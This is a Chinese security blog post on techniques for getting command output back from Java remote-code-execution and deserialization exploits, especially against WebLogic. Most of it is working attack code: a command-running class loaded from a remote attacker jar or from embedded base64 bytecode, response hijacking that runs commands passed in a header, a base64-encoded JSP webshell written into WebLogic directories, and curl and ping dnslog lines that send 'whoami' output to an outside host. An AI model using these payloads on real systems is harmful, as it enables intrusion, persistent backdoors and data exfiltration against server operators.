Java回显探究

java获取回显的方式:

  • 使用java.net.URLClassLoader类,远程加载自定义类(放在自己服务器上的jar包),可以自定义方法执行。
    在自定义类中,抛出异常,取得回显结果。(最早在我们内部Jboss报错、Weblogic、Websphere等反序列漏洞的回显就是基于此原理)

  • 利用defineClass加载byte[]返回Class对象,不用远程加载恶意类。

  • 通过RMI远程调用扩展实现回显。

  • 直接利用RCE将执行的命令写入服务器文件中,再次访问得到执行命令结果。(比如TXT,针对脚本不能解析的情况,例如Jeecms的漏洞)

  • 获取到HTTP请求Reponse的对象,然后获取输出流然输出

  • 写webshell

  • 常见的dnslog形式

01 利用java.net.URLClassLoader类回显

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.Socket;

public class R
{
public R() throws Exception {

}
public void reverseConn(String commond) throws Exception {
//执行命令
Process proc = Runtime.getRuntime().exec(commond);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}

需要将evil代码编译打包成jar

1
2
javac R.java
jar -cvf R.jar R.class

远程加载:

1
2
3
4
5
//设法在受害者服务器注入以下恶意代码。然后靠500的异常错误返回给前端
URLClassLoader cls = new URLClassLoader(new URL[]{new URL("http://192.168.31.58:7777/R.jar")});
Class cl = cls.loadClass("R");
Method m = cl.getMethod("reverseConn",String.class);
m.invoke(cl.newInstance(),"ifconfig");

注:如果服务器不能连接外网,可以通过FileOutputStream写恶意类的class字节码文件到服务器上,再通过URLClassLoader加载本地的恶意类,通过异常封装进行回显。

反射方法加载

1
URLClassLoader.class.getConstructor(java.net.URL[].class).newInstance(new Object[]{ new java.net.URL[] { new java.net.URL("http://192.168.31.58:7777/R.jar")}}).loadClass("R").getConstructor(String.class).newInstance("ls");

需要注意的是: URL数组传值不能只用

1
new java.net.URL[] {new java.net.URL("http://192.168.31.58:7777/R.jar")}

需要

1
new Object[]{ new java.net.URL[] { new java.net.URL("http://192.168.31.58:7777/R.jar")}}

02利用defineClass加载byte[]返回Class对象,不用远程加载恶意类。无文件落地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.Socket;
public class R
{
public R() throws Exception {

}

public void reverseConn(String commond) throws Exception {
//执行命令
Process proc = Runtime.getRuntime().exec(commond);
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null)
{
sb.append(line).append("\n");
}
String result = sb.toString();
Exception e=new Exception(result);
throw e;
}
}

将上面的文件编译成class文件进行base64编码复制

引用的是jdk里的org.mozilla.classfile.DefiningClassLoader

1
2
3
4
5
6
7
8
9
10
public static void main(String[] args) throws Exception {
//R的内容为 R.class文件的base64编码的值,可直接在linux下运行base64 R.class获取。(R.jar的话不行)
String R = "yv66vgAAADMARAoAEgAhCgAiACMKACIAJAcAJQcAJgoAJwAoCgAFACkKAAQAKgcAKwoACQAhCgAEACwKAAkALQgALgoACQAvBwAwCgAPADEHADIHADMBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwEAC3JldmVyc2VDb25uAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQANU3RhY2tNYXBUYWJsZQcANAcAJQcAKwcANQEAClNvdXJjZUZpbGUBAAZSLmphdmEMABMAFAcANgwANwA4DAA5ADoBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgcANAwAOwA8DAATAD0MABMAPgEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAD8AQAwAQQBCAQABCgwAQwBAAQATamF2YS9sYW5nL0V4Y2VwdGlvbgwAEwAZAQABUgEAEGphdmEvbGFuZy9PYmplY3QBABFqYXZhL2xhbmcvUHJvY2VzcwEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAOZ2V0SW5wdXRTdHJlYW0BABcoKUxqYXZhL2lvL0lucHV0U3RyZWFtOwEAGChMamF2YS9pby9JbnB1dFN0cmVhbTspVgEAEyhMamF2YS9pby9SZWFkZXI7KVYBAAhyZWFkTGluZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAGYXBwZW5kAQAsKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZ0J1ZmZlcjsBAAh0b1N0cmluZwAhABEAEgAAAAAAAgABABMAFAACABUAAAAhAAEAAQAAAAUqtwABsQAAAAEAFgAAAAoAAgAAAAcABAAJABcAAAAEAAEADwABABgAGQACABUAAAChAAUACAAAAFO4AAIrtgADTbsABFm7AAVZLLYABrcAB7cACE67AAlZtwAKOgQttgALWToFxgATGQQZBbYADBINtgAMV6f/6RkEtgAOOga7AA9ZGQa3ABA6BxkHvwAAAAIAFgAAACIACAAAAA4ACAAPABsAEAAkABIALgAUAD4AFgBFABcAUAAYABoAAAAUAAL+ACQHABsHABwHAB38ABkHAB4AFwAAAAQAAQAPAAEAHwAAAAIAIA==";
BASE64Decoder decoder = new BASE64Decoder();
byte[] bt = decoder.decodeBuffer(R);
DefiningClassLoader cls = new DefiningClassLoader();
Class cl = cls.defineClass("R",bt);
Method m =cl.getMethod("reverseConn",String.class);
m.invoke(cl.newInstance(),"ifconfig");
}

03通过RMI远程调用扩展实现回显

https://www.freebuf.com/vuls/90802.html

04通过将命令执行结果写到文件

通常是写到web目录下,然后直接访问。这个没啥好说的,主要是要知道web目录在哪

比如weblogic:

1
2
3
 servers\\AdminServer\\tmp\\_WL_internal\\bea_wls_internal\\9j4dqk\\war\\1.txt

servers\AdminServer\tmp\_WL_internal\bea_wls9_async_response\8tpkys\war\1.txt

05获取到HTTP请求Reponse的对象,然后获取输出流然输出

获取当前线程

获取当前线程的response

用 writeStream将命令执行个的结果输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
String Screw = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getHeader("Screw");
weblogic.servlet.internal.ServletResponseImpl response = ((weblogic.servlet.internal.ServletRequestImpl)((weblogic.work.ExecuteThread)Thread.currentThread()).getCurrentWork()).getResponse();
response.setCharacterEncoding("GBK");
weblogic.servlet.internal.ServletOutputStreamImpl outputStream = response.getServletOutputStream();
outputStream.writeStream(new weblogic.xml.util.StringInputStream(Screw+" : \r\n"));
outputStream.flush();
String osTyp = System.getProperty("os.name");
Process pr;
try {
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
pr = Runtime.getRuntime().exec("cmd /c " + Screw);
}else{
pr = Runtime.getRuntime().exec("/bin/sh -c " + Screw);
}
java.io.BufferedReader input = new java.io.BufferedReader(new java.io.InputStreamReader(pr.getInputStream(), "GBK"));
String line=null;
String result = "";
while((line=input.readLine())!=null)
{
result = result + line;
}
response.getWriter().write(result);
}catch (Exception e) {
System.out.println(e.toString());
e.printStackTrace();
}

06写Webshell

1
2
3
4
5
6
7
  try {
String data="PCVAIHBhZ2UgbGFuZ3VhZ2U9ImphdmEiIGNvbnRlbnRUeXBlPSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9R0JLIgogICAgcGFnZUVuY29kaW5nPSJVVEYtOCIlPgo8IURPQ1RZUEUgaHRtbCBQVUJMSUMgIi0vL1czQy8vRFREIEhUTUwgNC4wMSBUcmFuc2l0aW9uYWwvL0VOIiAiaHR0cDovL3d3dy53My5vcmcvVFIvaHRtbDQvbG9vc2UuZHRkIj4KPGh0bWw+CiAgICA8Ym9keT4KICAgICAgICA8JQogICAgICAgIGlmICgiYWRtaW4iLmVxdWFscyhyZXF1ZXN0LmdldFBhcmFtZXRlcigicHdkIikpKSB7CiAgICAgICAgICAgIGphdmEuaW8uSW5wdXRTdHJlYW0gaW5wdXQgPSBSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSkuZ2V0SW5wdXRTdHJlYW0oKTsKICAgICAgICAgICAgaW50IGxlbiA9IC0xOwogICAgICAgICAgICBieXRlW10gYnl0ZXMgPSBuZXcgYnl0ZVs0MDkyXTsKICAgICAgICAgICAgb3V0LnByaW50KCI8cHJlPiIpOwogICAgICAgICAgICB3aGlsZSAoKGxlbiA9IGlucHV0LnJlYWQoYnl0ZXMpKSAhPSAtMSkgewogICAgICAgICAgICAgICAgb3V0LnByaW50bG4obmV3IFN0cmluZyhieXRlcywgIkdCSyIpKTsKICAgICAgICAgICAgfQogICAgICAgICAgICBvdXQucHJpbnQoIjwvcHJlPiIpOwogICAgICAgIH0KICAgICU+CiAgICA8L2JvZHk+Cgo8L2h0bWw+Cg==";
data=new String(new sun.misc.BASE64Decoder().decodeBuffer(data));
java.io.PrintWriter out=new java.io.PrintWriter("servers\\AdminServer\\tmp\\_WL_internal\\bea_wls_internal\\9j4dqk\\war\\demo.jsp");out.println(data);out.close();
} catch (Exception e) {
e.printStackTrace();
}

也可以上传到这C:\Env\Weblogic\user_projects\domains\base_domain\servers\AdminServer\tmp_WL_internal\bea_wls9_async_response\8tpkys\war

访问:http://172.16.14.152:7001/_async/favicon.ico

07常见的dnslog

java中要用字符串数组的形式或者Base64的形式去执行,否则无法执行 相关命令

Linux:

1
2
curl http://dnslog/`whoami`
ping `whoami`.dnslog

Win:

1
ping %USERNAME%.dnslog

参考:

https://xz.aliyun.com/t/5257

https://xz.aliyun.com/t/5299

文章作者: Screw
文章链接: http://screwsec.com/2020/06/10/Java%E5%9B%9E%E6%98%BE%E6%8E%A2%E7%A9%B6/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Screw's blog